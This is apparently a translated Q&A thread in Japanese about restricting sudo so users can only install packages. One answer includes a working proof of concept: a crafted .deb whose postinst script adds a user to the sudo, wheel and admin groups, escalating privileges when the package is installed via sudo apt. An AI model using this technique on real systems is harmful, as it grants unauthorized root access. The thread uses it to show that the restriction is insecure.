パッケージをインストールするためにrpm / debのみを呼び出すようにユーザーのsudoを制限する方法はありますか?
答え1
パッケージをインストールするためにrpm / debのみを呼び出すようにユーザーのsudoを制限する方法はありますか?
はい、man sudoers
これを行う方法の詳細な例があります。
しかし、これは意味がありません。 rpm のインストールを許可すると、root 権限が付与されます。パッケージには、私が望むタスクを実行し、rootとして実行する任意の設定スクリプトを含めることができ、単にsudoと同じタスクを実行しますが、私を制限しないプログラムを含めることができます。
deb
(他のパッケージマネージャや実際にコードの実行が許可されているすべてのプログラムと同じ)
答え2
bill
実行機能を提供するには、apt-get
次の項目に追加してください/etc/sudoers
。
bill ALL = /usr/bin/apt-get
複数のコマンドを実行する機能を提供john
または実行するには、そのコマンドに対して拡張可能なグループをもう少し作成できます。bob
User_Alias INSTALLERS = john, bob
Cmnd_Alias INSTALL = /usr/bin/dpkg, \
/usr/bin/apt, \
/usr/bin/yum, \
/usr/bin/dnf
INSTALLERS ALL = INSTALL
私は原則としてこのアイデアが好きです。これは、ユーザーが完全なrootアクセス権を付与することなく、信頼できるソースからパッケージをインストールできることが良いためです。アクセス権は付与しますapt
が、書き込み権限は付与しないでください/etc/apt/sources.list{,.d}
。何が間違っている可能性がありますか?
しかし、以下では、これがどれほど簡単に乱用される可能性があるかを説明します。
$ mkdir -p elevator_1.0/DEBIAN
$ cat > elevator_1.0/DEBIAN/control <<EOF
Package: elevator
Version: 1.0
Architecture: all
Maintainer: Anonymous <[email protected]>
Description: Malicious permission elevator
Installing this package will elevate permissions of a user.
Uninstalling will not undo this
EOF
$ cat > eleavtor_1.0/DEBIAN/postinst <<EOF
#!/bin/bash
usermod -a -G sudo bob
usermod -a -G wheel bob
usermod -a -G admin bob
echo "bob has been elevated!"
EOF
$ dpkg-deb -b elevator_1.0
dpkg-deb: building package 'elevator' in 'elevator_1.0.deb'.
$ sudo apt install ./elevator_1.0.deb
...
The following NEW packages will be installed:
elevator
...
Preparing to unpack .../elevator_1.0.deb ...
Unpacking elevator (1.0) ...
Setting up elevator (1.0) ...
bob has been elevated
より安全な方法があれば、明らかに興味があるでしょう。私は、従業員が公式のDebianアーカイブと会社の内部アーカイブからソフトウェアをインストールできる必要があるという理由だけでrootアクセスを許可します。信頼できないソースを追加しないように言いましたが、強制することはできません。